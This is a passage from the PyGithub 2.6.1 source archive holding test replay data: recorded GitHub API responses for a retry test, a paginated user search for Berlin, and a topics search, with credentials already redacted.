events_url":"http://my.enterprise.com/users/PyGithub/events{/privacy}","received_events_url":"http://my.enterprise.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1245,"subscribers_count":105} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Retry.testShouldNotRetryWhenStatusNotOnList.txt0000644000175100001660000000256414756101563027537 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 400 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '400 Bad Request'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Bad Request"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testGetPageOnSearchUsers.txt0000644000175100001660000006760114756101563025016 0ustar00runnerdockerhttps GET api.github.com None /search/users?q=location%3ABerlin&page=8 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:3E9F:AB68A59:5314040F'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '27301'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:24:47 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393820747')] {"total_count":6038,"items":[{"login":"ursachec","id":497951,"avatar_url":"https://avatars.githubusercontent.com/u/497951","gravatar_id":"5d971653c5cc8eb4b13bb0149a7fbec8","url":"https://api.github.com/users/ursachec","html_url":"https://github.com/ursachec","followers_url":"https://api.github.com/users/ursachec/followers","following_url":"https://api.github.com/users/ursachec/following{/other_user}","gists_url":"https://api.github.com/users/ursachec/gists{/gist_id}","starred_url":"https://api.github.com/users/ursachec/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ursachec/subscriptions","organizations_url":"https://api.github.com/users/ursachec/orgs","repos_url":"https://api.github.com/users/ursachec/repos","events_url":"https://api.github.com/users/ursachec/events{/privacy}","received_events_url":"https://api.github.com/users/ursachec/received_events","type":"User","site_admin":false,"score":1.0},{"login":"bitboxer","id":56195,"avatar_url":"https://avatars.githubusercontent.com/u/56195","gravatar_id":"51968c9632cc07ab399cc32412ccbb98","url":"https://api.github.com/users/bitboxer","html_url":"https://github.com/bitboxer","followers_url":"https://api.github.com/users/bitboxer/followers","following_url":"https://api.github.com/users/bitboxer/following{/other_user}","gists_url":"https://api.github.com/users/bitboxer/gists{/gist_id}","starred_url":"https://api.github.com/users/bitboxer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bitboxer/subscriptions","organizations_url":"https://api.github.com/users/bitboxer/orgs","repos_url":"https://api.github.com/users/bitboxer/repos","events_url":"https://api.github.com/users/bitboxer/events{/privacy}","received_events_url":"https://api.github.com/users/bitboxer/received_events","type":"User","site_admin":false,"score":1.0},{"login":"fs111","id":33631,"avatar_url":"https://avatars.githubusercontent.com/u/33631","gravatar_id":"6da3d4048a89eae74e790545d08ff687","url":"https://api.github.com/users/fs111","html_url":"https://github.com/fs111","followers_url":"https://api.github.com/users/fs111/followers","following_url":"https://api.github.com/users/fs111/following{/other_user}","gists_url":"https://api.github.com/users/fs111/gists{/gist_id}","starred_url":"https://api.github.com/users/fs111/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fs111/subscriptions","organizations_url":"https://api.github.com/users/fs111/orgs","repos_url":"https://api.github.com/users/fs111/repos","events_url":"https://api.github.com/users/fs111/events{/privacy}","received_events_url":"https://api.github.com/users/fs111/received_events","type":"User","site_admin":false,"score":1.0},{"login":"michenriksen","id":304361,"avatar_url":"https://avatars.githubusercontent.com/u/304361","gravatar_id":"7c0502249dda76254c701c5e1137a0aa","url":"https://api.github.com/users/michenriksen","html_url":"https://github.com/michenriksen","followers_url":"https://api.github.com/users/michenriksen/followers","following_url":"https://api.github.com/users/michenriksen/following{/other_user}","gists_url":"https://api.github.com/users/michenriksen/gists{/gist_id}","starred_url":"https://api.github.com/users/michenriksen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/michenriksen/subscriptions","organizations_url":"https://api.github.com/users/michenriksen/orgs","repos_url":"https://api.github.com/users/michenriksen/repos","events_url":"https://api.github.com/users/michenriksen/events{/privacy}","received_events_url":"https://api.github.com/users/michenriksen/received_events","type":"User","site_admin":false,"score":1.0},{"login":"witsch","id":62399,"avatar_url":"https://avatars.githubusercontent.com/u/62399","gravatar_id":"7cf2293059661ac8866757f9fcc6da34","url":"https://api.github.com/users/witsch","html_url":"https://github.com/witsch","followers_url":"https://api.github.com/users/witsch/followers","following_url":"https://api.github.com/users/witsch/following{/other_user}","gists_url":"https://api.github.com/users/witsch/gists{/gist_id}","starred_url":"https://api.github.com/users/witsch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/witsch/subscriptions","organizations_url":"https://api.github.com/users/witsch/orgs","repos_url":"https://api.github.com/users/witsch/repos","events_url":"https://api.github.com/users/witsch/events{/privacy}","received_events_url":"https://api.github.com/users/witsch/received_events","type":"User","site_admin":false,"score":1.0},{"login":"booo","id":424513,"avatar_url":"https://avatars.githubusercontent.com/u/424513","gravatar_id":"6febfecfcdb7f473a82e9383bd9772fb","url":"https://api.github.com/users/booo","html_url":"https://github.com/booo","followers_url":"https://api.github.com/users/booo/followers","following_url":"https://api.github.com/users/booo/following{/other_user}","gists_url":"https://api.github.com/users/booo/gists{/gist_id}","starred_url":"https://api.github.com/users/booo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/booo/subscriptions","organizations_url":"https://api.github.com/users/booo/orgs","repos_url":"https://api.github.com/users/booo/repos","events_url":"https://api.github.com/users/booo/events{/privacy}","received_events_url":"https://api.github.com/users/booo/received_events","type":"User","site_admin":false,"score":1.0},{"login":"mortice","id":60826,"avatar_url":"https://avatars.githubusercontent.com/u/60826","gravatar_id":"adcd8d8f37a83e7ed102cd1df3e95298","url":"https://api.github.com/users/mortice","html_url":"https://github.com/mortice","followers_url":"https://api.github.com/users/mortice/followers","following_url":"https://api.github.com/users/mortice/following{/other_user}","gists_url":"https://api.github.com/users/mortice/gists{/gist_id}","starred_url":"https://api.github.com/users/mortice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mortice/subscriptions","organizations_url":"https://api.github.com/users/mortice/orgs","repos_url":"https://api.github.com/users/mortice/repos","events_url":"https://api.github.com/users/mortice/events{/privacy}","received_events_url":"https://api.github.com/users/mortice/received_events","type":"User","site_admin":false,"score":1.0},{"login":"r0man","id":21566,"avatar_url":"https://avatars.githubusercontent.com/u/21566","gravatar_id":"d934ff33907d9f03a1ffc2a88cb9e1af","url":"https://api.github.com/users/r0man","html_url":"https://github.com/r0man","followers_url":"https://api.github.com/users/r0man/followers","following_url":"https://api.github.com/users/r0man/following{/other_user}","gists_url":"https://api.github.com/users/r0man/gists{/gist_id}","starred_url":"https://api.github.com/users/r0man/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/r0man/subscriptions","organizations_url":"https://api.github.com/users/r0man/orgs","repos_url":"https://api.github.com/users/r0man/repos","events_url":"https://api.github.com/users/r0man/events{/privacy}","received_events_url":"https://api.github.com/users/r0man/received_events","type":"User","site_admin":false,"score":1.0},{"login":"MikeBild","id":179382,"avatar_url":"https://avatars.githubusercontent.com/u/179382","gravatar_id":"15b3eec086d1a876111411537ffa8413","url":"https://api.github.com/users/MikeBild","html_url":"https://github.com/MikeBild","followers_url":"https://api.github.com/users/MikeBild/followers","following_url":"https://api.github.com/users/MikeBild/following{/other_user}","gists_url":"https://api.github.com/users/MikeBild/gists{/gist_id}","starred_url":"https://api.github.com/users/MikeBild/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MikeBild/subscriptions","organizations_url":"https://api.github.com/users/MikeBild/orgs","repos_url":"https://api.github.com/users/MikeBild/repos","events_url":"https://api.github.com/users/MikeBild/events{/privacy}","received_events_url":"https://api.github.com/users/MikeBild/received_events","type":"User","site_admin":false,"score":1.0},{"login":"mhagger","id":119718,"avatar_url":"https://avatars.githubusercontent.com/u/119718","gravatar_id":"67d45b2f8a93ea8131342d196f27be99","url":"https://api.github.com/users/mhagger","html_url":"https://github.com/mhagger","followers_url":"https://api.github.com/users/mhagger/followers","following_url":"https://api.github.com/users/mhagger/following{/other_user}","gists_url":"https://api.github.com/users/mhagger/gists{/gist_id}","starred_url":"https://api.github.com/users/mhagger/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mhagger/subscriptions","organizations_url":"https://api.github.com/users/mhagger/orgs","repos_url":"https://api.github.com/users/mhagger/repos","events_url":"https://api.github.com/users/mhagger/events{/privacy}","received_events_url":"https://api.github.com/users/mhagger/received_events","type":"User","site_admin":true,"score":1.0},{"login":"bkw","id":60910,"avatar_url":"https://avatars.githubusercontent.com/u/60910","gravatar_id":"ba794f1084b2a876705e2679c197c630","url":"https://api.github.com/users/bkw","html_url":"https://github.com/bkw","followers_url":"https://api.github.com/users/bkw/followers","following_url":"https://api.github.com/users/bkw/following{/other_user}","gists_url":"https://api.github.com/users/bkw/gists{/gist_id}","starred_url":"https://api.github.com/users/bkw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bkw/subscriptions","organizations_url":"https://api.github.com/users/bkw/orgs","repos_url":"https://api.github.com/users/bkw/repos","events_url":"https://api.github.com/users/bkw/events{/privacy}","received_events_url":"https://api.github.com/users/bkw/received_events","type":"User","site_admin":false,"score":1.0},{"login":"fwbrasil","id":831175,"avatar_url":"https://avatars.githubusercontent.com/u/831175","gravatar_id":"3a2dbcd6a4b28903a6a39a5a9c00f0bb","url":"https://api.github.com/users/fwbrasil","html_url":"https://github.com/fwbrasil","followers_url":"https://api.github.com/users/fwbrasil/followers","following_url":"https://api.github.com/users/fwbrasil/following{/other_user}","gists_url":"https://api.github.com/users/fwbrasil/gists{/gist_id}","starred_url":"https://api.github.com/users/fwbrasil/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fwbrasil/subscriptions","organizations_url":"https://api.github.com/users/fwbrasil/orgs","repos_url":"https://api.github.com/users/fwbrasil/repos","events_url":"https://api.github.com/users/fwbrasil/events{/privacy}","received_events_url":"https://api.github.com/users/fwbrasil/received_events","type":"User","site_admin":false,"score":1.0},{"login":"mschneider","id":144124,"avatar_url":"https://avatars.githubusercontent.com/u/144124","gravatar_id":"d6fcf10b07508fa819e43598a9364016","url":"https://api.github.com/users/mschneider","html_url":"https://github.com/mschneider","followers_url":"https://api.github.com/users/mschneider/followers","following_url":"https://api.github.com/users/mschneider/following{/other_user}","gists_url":"https://api.github.com/users/mschneider/gists{/gist_id}","starred_url":"https://api.github.com/users/mschneider/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mschneider/subscriptions","organizations_url":"https://api.github.com/users/mschneider/orgs","repos_url":"https://api.github.com/users/mschneider/repos","events_url":"https://api.github.com/users/mschneider/events{/privacy}","received_events_url":"https://api.github.com/users/mschneider/received_events","type":"User","site_admin":false,"score":1.0},{"login":"lydiapintscher","id":550412,"avatar_url":"https://avatars.githubusercontent.com/u/550412","gravatar_id":"a3e09b63b153e2138fd56928544a0901","url":"https://api.github.com/users/lydiapintscher","html_url":"https://github.com/lydiapintscher","followers_url":"https://api.github.com/users/lydiapintscher/followers","following_url":"https://api.github.com/users/lydiapintscher/following{/other_user}","gists_url":"https://api.github.com/users/lydiapintscher/gists{/gist_id}","starred_url":"https://api.github.com/users/lydiapintscher/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lydiapintscher/subscriptions","organizations_url":"https://api.github.com/users/lydiapintscher/orgs","repos_url":"https://api.github.com/users/lydiapintscher/repos","events_url":"https://api.github.com/users/lydiapintscher/events{/privacy}","received_events_url":"https://api.github.com/users/lydiapintscher/received_events","type":"User","site_admin":false,"score":1.0},{"login":"asksven","id":891487,"avatar_url":"https://avatars.githubusercontent.com/u/891487","gravatar_id":"068ef694daab72710635a5f60d5fd08b","url":"https://api.github.com/users/asksven","html_url":"https://github.com/asksven","followers_url":"https://api.github.com/users/asksven/followers","following_url":"https://api.github.com/users/asksven/following{/other_user}","gists_url":"https://api.github.com/users/asksven/gists{/gist_id}","starred_url":"https://api.github.com/users/asksven/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/asksven/subscriptions","organizations_url":"https://api.github.com/users/asksven/orgs","repos_url":"https://api.github.com/users/asksven/repos","events_url":"https://api.github.com/users/asksven/events{/privacy}","received_events_url":"https://api.github.com/users/asksven/received_events","type":"User","site_admin":false,"score":1.0},{"login":"iamtimm","id":2601332,"avatar_url":"https://avatars.githubusercontent.com/u/2601332","gravatar_id":"7d1da2510e4628fd4a4650eee2d01747","url":"https://api.github.com/users/iamtimm","html_url":"https://github.com/iamtimm","followers_url":"https://api.github.com/users/iamtimm/followers","following_url":"https://api.github.com/users/iamtimm/following{/other_user}","gists_url":"https://api.github.com/users/iamtimm/gists{/gist_id}","starred_url":"https://api.github.com/users/iamtimm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iamtimm/subscriptions","organizations_url":"https://api.github.com/users/iamtimm/orgs","repos_url":"https://api.github.com/users/iamtimm/repos","events_url":"https://api.github.com/users/iamtimm/events{/privacy}","received_events_url":"https://api.github.com/users/iamtimm/received_events","type":"User","site_admin":false,"score":1.0},{"login":"sneak","id":408977,"avatar_url":"https://avatars.githubusercontent.com/u/408977","gravatar_id":"c8d86b06ffa43423112215dc8c2a86c4","url":"https://api.github.com/users/sneak","html_url":"https://github.com/sneak","followers_url":"https://api.github.com/users/sneak/followers","following_url":"https://api.github.com/users/sneak/following{/other_user}","gists_url":"https://api.github.com/users/sneak/gists{/gist_id}","starred_url":"https://api.github.com/users/sneak/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sneak/subscriptions","organizations_url":"https://api.github.com/users/sneak/orgs","repos_url":"https://api.github.com/users/sneak/repos","events_url":"https://api.github.com/users/sneak/events{/privacy}","received_events_url":"https://api.github.com/users/sneak/received_events","type":"User","site_admin":false,"score":1.0},{"login":"kr1sp1n","id":64247,"avatar_url":"https://avatars.githubusercontent.com/u/64247","gravatar_id":"d390a0b22b684675c6127d81b025f94e","url":"https://api.github.com/users/kr1sp1n","html_url":"https://github.com/kr1sp1n","followers_url":"https://api.github.com/users/kr1sp1n/followers","following_url":"https://api.github.com/users/kr1sp1n/following{/other_user}","gists_url":"https://api.github.com/users/kr1sp1n/gists{/gist_id}","starred_url":"https://api.github.com/users/kr1sp1n/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kr1sp1n/subscriptions","organizations_url":"https://api.github.com/users/kr1sp1n/orgs","repos_url":"https://api.github.com/users/kr1sp1n/repos","events_url":"https://api.github.com/users/kr1sp1n/events{/privacy}","received_events_url":"https://api.github.com/users/kr1sp1n/received_events","type":"User","site_admin":false,"score":1.0},{"login":"Feh","id":175304,"avatar_url":"https://avatars.githubusercontent.com/u/175304","gravatar_id":"5e7c02ac35afb08e9caf01a85ce2a2eb","url":"https://api.github.com/users/Feh","html_url":"https://github.com/Feh","followers_url":"https://api.github.com/users/Feh/followers","following_url":"https://api.github.com/users/Feh/following{/other_user}","gists_url":"https://api.github.com/users/Feh/gists{/gist_id}","starred_url":"https://api.github.com/users/Feh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Feh/subscriptions","organizations_url":"https://api.github.com/users/Feh/orgs","repos_url":"https://api.github.com/users/Feh/repos","events_url":"https://api.github.com/users/Feh/events{/privacy}","received_events_url":"https://api.github.com/users/Feh/received_events","type":"User","site_admin":false,"score":1.0},{"login":"GordonLesti","id":1677744,"avatar_url":"https://avatars.githubusercontent.com/u/1677744","gravatar_id":"1a3cb8af5f5c0874ec777febdb606d6f","url":"https://api.github.com/users/GordonLesti","html_url":"https://github.com/GordonLesti","followers_url":"https://api.github.com/users/GordonLesti/followers","following_url":"https://api.github.com/users/GordonLesti/following{/other_user}","gists_url":"https://api.github.com/users/GordonLesti/gists{/gist_id}","starred_url":"https://api.github.com/users/GordonLesti/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GordonLesti/subscriptions","organizations_url":"https://api.github.com/users/GordonLesti/orgs","repos_url":"https://api.github.com/users/GordonLesti/repos","events_url":"https://api.github.com/users/GordonLesti/events{/privacy}","received_events_url":"https://api.github.com/users/GordonLesti/received_events","type":"User","site_admin":false,"score":1.0},{"login":"annismckenzie","id":16936,"avatar_url":"https://avatars.githubusercontent.com/u/16936","gravatar_id":"d54c62322c39f914fb2ec6a31df5f314","url":"https://api.github.com/users/annismckenzie","html_url":"https://github.com/annismckenzie","followers_url":"https://api.github.com/users/annismckenzie/followers","following_url":"https://api.github.com/users/annismckenzie/following{/other_user}","gists_url":"https://api.github.com/users/annismckenzie/gists{/gist_id}","starred_url":"https://api.github.com/users/annismckenzie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/annismckenzie/subscriptions","organizations_url":"https://api.github.com/users/annismckenzie/orgs","repos_url":"https://api.github.com/users/annismckenzie/repos","events_url":"https://api.github.com/users/annismckenzie/events{/privacy}","received_events_url":"https://api.github.com/users/annismckenzie/received_events","type":"User","site_admin":false,"score":1.0},{"login":"eskimoblood","id":72060,"avatar_url":"https://avatars.githubusercontent.com/u/72060","gravatar_id":"7831f9c652845c34091da263b689cc25","url":"https://api.github.com/users/eskimoblood","html_url":"https://github.com/eskimoblood","followers_url":"https://api.github.com/users/eskimoblood/followers","following_url":"https://api.github.com/users/eskimoblood/following{/other_user}","gists_url":"https://api.github.com/users/eskimoblood/gists{/gist_id}","starred_url":"https://api.github.com/users/eskimoblood/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eskimoblood/subscriptions","organizations_url":"https://api.github.com/users/eskimoblood/orgs","repos_url":"https://api.github.com/users/eskimoblood/repos","events_url":"https://api.github.com/users/eskimoblood/events{/privacy}","received_events_url":"https://api.github.com/users/eskimoblood/received_events","type":"User","site_admin":false,"score":1.0},{"login":"tsujigiri","id":140724,"avatar_url":"https://avatars.githubusercontent.com/u/140724","gravatar_id":"370046731ae754e32236667a7036472a","url":"https://api.github.com/users/tsujigiri","html_url":"https://github.com/tsujigiri","followers_url":"https://api.github.com/users/tsujigiri/followers","following_url":"https://api.github.com/users/tsujigiri/following{/other_user}","gists_url":"https://api.github.com/users/tsujigiri/gists{/gist_id}","starred_url":"https://api.github.com/users/tsujigiri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tsujigiri/subscriptions","organizations_url":"https://api.github.com/users/tsujigiri/orgs","repos_url":"https://api.github.com/users/tsujigiri/repos","events_url":"https://api.github.com/users/tsujigiri/events{/privacy}","received_events_url":"https://api.github.com/users/tsujigiri/received_events","type":"User","site_admin":false,"score":1.0},{"login":"riethmayer","id":67637,"avatar_url":"https://avatars.githubusercontent.com/u/67637","gravatar_id":"788dec4942d6108c2cfb3ff2a9fb37ca","url":"https://api.github.com/users/riethmayer","html_url":"https://github.com/riethmayer","followers_url":"https://api.github.com/users/riethmayer/followers","following_url":"https://api.github.com/users/riethmayer/following{/other_user}","gists_url":"https://api.github.com/users/riethmayer/gists{/gist_id}","starred_url":"https://api.github.com/users/riethmayer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/riethmayer/subscriptions","organizations_url":"https://api.github.com/users/riethmayer/orgs","repos_url":"https://api.github.com/users/riethmayer/repos","events_url":"https://api.github.com/users/riethmayer/events{/privacy}","received_events_url":"https://api.github.com/users/riethmayer/received_events","type":"User","site_admin":false,"score":1.0},{"login":"lauritzthamsen","id":556044,"avatar_url":"https://avatars.githubusercontent.com/u/556044","gravatar_id":"16ee936c089903268be2b45e2912a8de","url":"https://api.github.com/users/lauritzthamsen","html_url":"https://github.com/lauritzthamsen","followers_url":"https://api.github.com/users/lauritzthamsen/followers","following_url":"https://api.github.com/users/lauritzthamsen/following{/other_user}","gists_url":"https://api.github.com/users/lauritzthamsen/gists{/gist_id}","starred_url":"https://api.github.com/users/lauritzthamsen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lauritzthamsen/subscriptions","organizations_url":"https://api.github.com/users/lauritzthamsen/orgs","repos_url":"https://api.github.com/users/lauritzthamsen/repos","events_url":"https://api.github.com/users/lauritzthamsen/events{/privacy}","received_events_url":"https://api.github.com/users/lauritzthamsen/received_events","type":"User","site_admin":false,"score":1.0},{"login":"scotchi","id":170209,"avatar_url":"https://avatars.githubusercontent.com/u/170209","gravatar_id":"295ea5568fc6b52a41574ccabf76ce70","url":"https://api.github.com/users/scotchi","html_url":"https://github.com/scotchi","followers_url":"https://api.github.com/users/scotchi/followers","following_url":"https://api.github.com/users/scotchi/following{/other_user}","gists_url":"https://api.github.com/users/scotchi/gists{/gist_id}","starred_url":"https://api.github.com/users/scotchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/scotchi/subscriptions","organizations_url":"https://api.github.com/users/scotchi/orgs","repos_url":"https://api.github.com/users/scotchi/repos","events_url":"https://api.github.com/users/scotchi/events{/privacy}","received_events_url":"https://api.github.com/users/scotchi/received_events","type":"User","site_admin":false,"score":1.0},{"login":"peritor","id":19754,"avatar_url":"https://avatars.githubusercontent.com/u/19754","gravatar_id":"c6c996b515a38003257b23e1c22056b3","url":"https://api.github.com/users/peritor","html_url":"https://github.com/peritor","followers_url":"https://api.github.com/users/peritor/followers","following_url":"https://api.github.com/users/peritor/following{/other_user}","gists_url":"https://api.github.com/users/peritor/gists{/gist_id}","starred_url":"https://api.github.com/users/peritor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/peritor/subscriptions","organizations_url":"https://api.github.com/users/peritor/orgs","repos_url":"https://api.github.com/users/peritor/repos","events_url":"https://api.github.com/users/peritor/events{/privacy}","received_events_url":"https://api.github.com/users/peritor/received_events","type":"User","site_admin":false,"score":1.0},{"login":"toto","id":15453,"avatar_url":"https://avatars.githubusercontent.com/u/15453","gravatar_id":"6eab17f85e011d0724f95b61953ee5dd","url":"https://api.github.com/users/toto","html_url":"https://github.com/toto","followers_url":"https://api.github.com/users/toto/followers","following_url":"https://api.github.com/users/toto/following{/other_user}","gists_url":"https://api.github.com/users/toto/gists{/gist_id}","starred_url":"https://api.github.com/users/toto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/toto/subscriptions","organizations_url":"https://api.github.com/users/toto/orgs","repos_url":"https://api.github.com/users/toto/repos","events_url":"https://api.github.com/users/toto/events{/privacy}","received_events_url":"https://api.github.com/users/toto/received_events","type":"User","site_admin":false,"score":1.0},{"login":"hwaxxer","id":104157,"avatar_url":"https://avatars.githubusercontent.com/u/104157","gravatar_id":"8b6c22c70116677f4d653b17fd52b373","url":"https://api.github.com/users/hwaxxer","html_url":"https://github.com/hwaxxer","followers_url":"https://api.github.com/users/hwaxxer/followers","following_url":"https://api.github.com/users/hwaxxer/following{/other_user}","gists_url":"https://api.github.com/users/hwaxxer/gists{/gist_id}","starred_url":"https://api.github.com/users/hwaxxer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hwaxxer/subscriptions","organizations_url":"https://api.github.com/users/hwaxxer/orgs","repos_url":"https://api.github.com/users/hwaxxer/repos","events_url":"https://api.github.com/users/hwaxxer/events{/privacy}","received_events_url":"https://api.github.com/users/hwaxxer/received_events","type":"User","site_admin":false,"score":1.0},{"login":"lukaszklis","id":11782,"avatar_url":"https://avatars.githubusercontent.com/u/11782","gravatar_id":"7a30aca2cf9658558247348b3be8c35e","url":"https://api.github.com/users/lukaszklis","html_url":"https://github.com/lukaszklis","followers_url":"https://api.github.com/users/lukaszklis/followers","following_url":"https://api.github.com/users/lukaszklis/following{/other_user}","gists_url":"https://api.github.com/users/lukaszklis/gists{/gist_id}","starred_url":"https://api.github.com/users/lukaszklis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lukaszklis/subscriptions","organizations_url":"https://api.github.com/users/lukaszklis/orgs","repos_url":"https://api.github.com/users/lukaszklis/repos","events_url":"https://api.github.com/users/lukaszklis/events{/privacy}","received_events_url":"https://api.github.com/users/lukaszklis/received_events","type":"User","site_admin":false,"score":1.0}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testPaginateSearchTopics.txt0000644000175100001660000001060114756101563025061 0ustar00runnerdockerhttps GET api.github.com None /search/topics?q=python+repositories%3A%3E950&per_page=1 {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.mercy-preview+json', 'User-Agent': 'PyGithub/Python'} None 200 [('access-control-allow-origin', '*'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('cache-control', 'no-cache'), ('content-encoding', 'gzip'), ('content-security-policy', "default-src 'none'"), ('content-type', 'application/json; charset=utf-8'), ('date', 'Tue, 04 Sep 2018 19:33:06 GMT'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('server', 'GitHub.com'), ('status', '200 OK'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('transfer-encoding', 'chunked'), ('x-accepted-oauth-scopes', ''), ('x-content-type-options', 'nosniff'), ('x-frame-options', 'deny'), ('x-github-media-type', 'github.mercy-preview; format=json'), ('x-github-request-id', '6CB6:35BC:A1C2D7:1AE3E6A:5B8EDDF1'), ('x-oauth-scopes', 'read:user'), ('x-ratelimit-limit', '30'), ('x-ratelimit-remaining', '27'), ('x-ratelimit-reset', '1536089589'), ('x-runtime-rack', '0.034532'), ('x-xss-protection', '1; mode=block')] {"total_count":6,"incomplete_results":false,"items":[{"name":"python","display_name":"Python","short_description":"Python is a dynamically typed programming language.","description":"Python is a dynamically typed programming language designed by Guido Van Rossum. Much like the programming language Ruby, Python was designed to be easily read by programmers. Because of its large following and many libraries, Python can be implemented and used to do anything from webpages to scientific research.","created_by":"Guido van Rossum","released":"February 20, 1991","created_at":"2016-12-07T00:07:02Z","updated_at":"2017-10-27T22:45:43Z","featured":true,"curated":true,"score":6000.218},{"name":"django","display_name":"Django","short_description":"Django is a web application framework for Python.","description":"Django is a web application framework for Python. It is designed to prioritize principles of reusability and rapid development.","created_by":"Adrian Holovaty, Simon Willison","released":"21 July 2005","created_at":"2017-01-31T20:40:48Z","updated_at":"2017-10-26T21:33:58Z","featured":true,"curated":true,"score":459.86417},{"name":"flask","display_name":"Flask","short_description":"Flask is a web framework for Python based on the Werkzeug toolkit.","description":"Flask is a web framework for Python, based on the Werkzeug toolkit.","created_by":"Armin Ronacher","released":"April 1, 2010","created_at":"2016-12-25T23:31:26Z","updated_at":"2018-02-05T17:11:09Z","featured":true,"curated":true,"score":311.18997},{"name":"ruby","display_name":"Ruby","short_description":"Ruby is a scripting language designed for simplified object-oriented programming.","description":"Ruby was developed by Yukihiro \"Matz\" Matsumoto in 1995 with the intent of having an easily readable programming language. It is integrated with the Rails framework to create dynamic web-applications. Ruby's syntax is similar to that of Perl and Python.","created_by":"Yukihiro Matsumoto","released":"December 21, 1995","created_at":"2016-11-28T22:03:59Z","updated_at":"2017-10-30T18:16:32Z","featured":true,"curated":true,"score":224.16049},{"name":"scikit-learn","display_name":"scikit-learn","short_description":"scikit-learn is a Python module for machine learning.","description":"scikit-learn is a widely-used Python module for classic machine learning. It is built on top of SciPy.","created_by":"David Cournapeau","released":"January 05, 2010","created_at":"2017-01-31T21:47:19Z","updated_at":"2018-02-22T18:23:42Z","featured":true,"curated":true,"score":169.0507},{"name":"wagtail","display_name":"Wagtail","short_description":"Wagtail is an open source CMS written in Python and built on the Django web framework.","description":"Wagtail is a free and open source content management system (CMS)\nwritten in Python. The project has a focus on developer friendliness\nas well as ease of use of its administration interface,\ntranslated in multiple 